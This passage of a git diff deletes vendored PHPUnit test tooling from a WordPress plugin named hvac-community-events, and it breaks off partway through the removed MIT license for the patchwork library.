wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/open-sans/OFL.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/open-sans/OpenSans-Italic-VariableFont_wdth,wght.ttf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/open-sans/OpenSans-VariableFont_wdth,wght.ttf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/source-serif-pro/LICENSE.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/styles/variation-duplicate-fonts.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/styles/variation-new-font-family.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/styles/variation-new-font-variations.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/styles/variation-no-fonts.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/internationalized-theme/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/internationalized-theme/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/internationalized-theme/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates-child/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates-child/subdir/template-sub-dir-post-types-child.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates-child/template-top-level-post-types-child.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/38766/no-trailing-period-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/38766/tilde-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/38766/trailing-comma-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/38766/trailing-period-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/38766/trailing-period-whitespace-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/38766/trailing-whitespace-period-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/subdir/template-sub-dir-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/template-header.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/template-top-level-post-types.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/page-templates/template-top-level.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/rest-api/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/sandbox/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/sandbox/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/sandbox/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/stylesheetonly/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/block_theme-[1.0.0]/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/block_theme-[1.0.0]/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/block_theme-[1.0.0]/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/theme with spaces/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/theme with spaces/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/theme2/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/theme2/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/subdir/theme2/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/theme1-dupe/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/theme1-dupe/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/theme1-dupe/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/theme1/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/theme1/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/theme1/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/update-uri-theme/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/update-uri-theme/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir2/test-parent/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir2/test-parent/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir2/test-parent/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir2/test/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir2/test/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir2/test/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/dashicons.woff delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/double-mime-type.docx delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/pages-to-word.docx delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/small-audio.flac delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/small-audio.mp3 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/small-video.mkv delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/small-video.mov delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/small-video.mp4 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/small-video.webm delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/test.csv delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/test.dfxp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/test.rtf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/test.tsv delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/test.vtt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/uploads/video-play.svg delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/widgets/custom-widget-classes.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/abstract-testcase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/bootstrap.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-basic-object.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-basic-subclass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-jsonserializable-object.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-fake-block-type.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-rest-test-configurable-controller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-rest-test-search-handler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-sitemaps-empty-test-provider.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-sitemaps-large-test-provider.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-sitemaps-test-provider.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/class-wp-test-stream.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/exceptions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-callback-after-create.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-attachment.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-blog.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-bookmark.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-comment.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-network.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-post.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-term.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-thing.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory-for-user.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-factory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/factory/class-wp-unittest-generator-sequence.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/install.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/mock-fs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/mock-image-editor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/mock-invokable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/mock-mailer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/normalize-xml.xsl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/object-cache.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/phpunit-adapter-testcase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/phpunit6/compat.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/plural-form-function.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/spy-rest-server.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-ajax.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-canonical.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-rest-api.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-rest-controller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-rest-post-type-controller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-xml.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase-xmlrpc.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/testcase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/trac.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/unregister-blocks-hooks.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/utils.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/includes/wp-profiler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/wp-tests-config.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/CHANGELOG.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/phpunitpolyfills-autoload.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Exceptions/Error.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Exceptions/InvalidComparisonMethodException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Exceptions/TypeError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Helpers/AssertAttributeHelper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Helpers/ResourceHelper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertClosedResource.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertClosedResource_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertEqualsSpecializations.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertEqualsSpecializations_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertFileDirectory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertFileDirectory_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertFileEqualsSpecializations.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertFileEqualsSpecializations_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertIsType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertIsType_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertNumericType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertNumericType_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertObjectEquals.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertObjectEquals_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertObjectProperty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertObjectProperty_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertStringContains.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertStringContains_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertionRenames.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/AssertionRenames_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/EqualToSpecializations.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/EqualToSpecializations_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectExceptionMessageMatches.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectExceptionMessageMatches_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectExceptionObject.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectExceptionObject_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectException_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectPHPException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/Polyfills/ExpectPHPException_Empty.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestCases/TestCasePHPUnitGte8.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestCases/TestCasePHPUnitLte7.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestCases/XTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestListeners/TestListenerDefaultImplementationPHPUnit6.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestListeners/TestListenerDefaultImplementationPHPUnitGte7.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestListeners/TestListenerDefaultImplementationPHPUnitLte5.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/phpunit-polyfills/src/TestListeners/TestListenerSnakeCaseMethods.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/CHANGELOG.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/BrainMonkey/TestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/BrainMonkey/YoastTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/BrainMonkey/bootstrap.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/Helpers/ExpectOutputHelper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/WPIntegration/Autoload.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/WPIntegration/TestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/WPIntegration/TestCaseNoPolyfills.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/WPIntegration/TestCaseOnlyObjectPropertyPolyfill.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/yoast/wp-test-utils/src/WPIntegration/bootstrap-functions.php diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/LICENSE deleted file mode 100644 index d1ccb7a5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License - -Copyright (c) 2010-2018 Ignas Rudaitis - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 